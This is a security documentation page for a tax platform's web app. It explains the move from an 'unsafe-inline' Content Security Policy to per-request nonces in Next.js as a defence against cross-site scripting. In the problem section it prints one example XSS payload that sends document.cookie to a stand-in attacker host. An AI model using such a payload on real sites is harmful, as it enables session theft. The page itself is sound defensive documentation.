All Docs
FeaturesMaking Tax DigitalUpdated March 11, 2026

Hardening XSS Defences: Moving to a Nonce-Based Content Security Policy

Hardening XSS Defences: Moving to a Nonce-Based Content Security Policy

Version: 1.0.403
Security Control: SEC-02 (OWASP)
Affected File: next.config.ts


Background

Content Security Policy (CSP) is a browser-enforced security layer that restricts which scripts, styles, and other resources a page is permitted to load and execute. A well-configured CSP is one of the most effective defences against Cross-Site Scripting (XSS) attacks.

Prior to this release, the platform's CSP included 'unsafe-inline' in both script-src and style-src. This directive was originally required to support Next.js hydration, but it carries a significant security trade-off: any XSS payload delivered via an inline <script> tag would not be blocked by the browser, because the CSP explicitly permitted all inline script execution.


The Problem: 'unsafe-inline' in script-src

When a CSP contains 'unsafe-inline', it instructs the browser to allow any inline script — whether it was placed there by the application or injected by an attacker. This effectively neutralises CSP as a defence against the most common class of XSS attacks.

Example of a vulnerable CSP (before this release):

Content-Security-Policy: script-src 'self' 'unsafe-inline'

With this policy, a successful XSS injection such as:

<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

…would execute without any browser-level interception.


The Fix: Per-Request Cryptographic Nonces

This release implements a nonce-based CSP using the Next.js 13+ App Router. Here is how it works:

1. Nonce Generation in Middleware

A cryptographically random nonce is generated on every incoming request inside Next.js middleware. This nonce is:

  • Unique per request (not shared across users or page loads)
  • Injected into the outgoing Content-Security-Policy response header
  • Passed through to the rendering layer via request headers

Updated CSP header:

Content-Security-Policy: script-src 'self' 'nonce-<random-base64-value>'

2. Nonce Passed to Script Components

All <Script> components in the application receive the nonce via the nonce prop. The browser will only execute a <script> tag whose nonce attribute matches the value declared in the CSP header for that response.

// Example — Script component with nonce
<Script
  src="/path/to/script.js"
  nonce={nonce}
/>

3. Inline Script Injection is Now Blocked

Because the nonce value is:

  • Generated server-side on every request
  • Never exposed to or predictable by an attacker

…any injected inline script will not carry a valid nonce and the browser will refuse to execute it, even if the attacker somehow inserts a <script> tag into the page.


Before and After

ScenarioBefore (unsafe-inline)After (nonce-based)
Legitimate app scripts✅ Execute✅ Execute (nonce present)
Injected inline <script>⚠️ Execute (not blocked)🚫 Blocked by browser
Third-party inline scripts without nonce✅ Execute🚫 Blocked by browser

Further Reading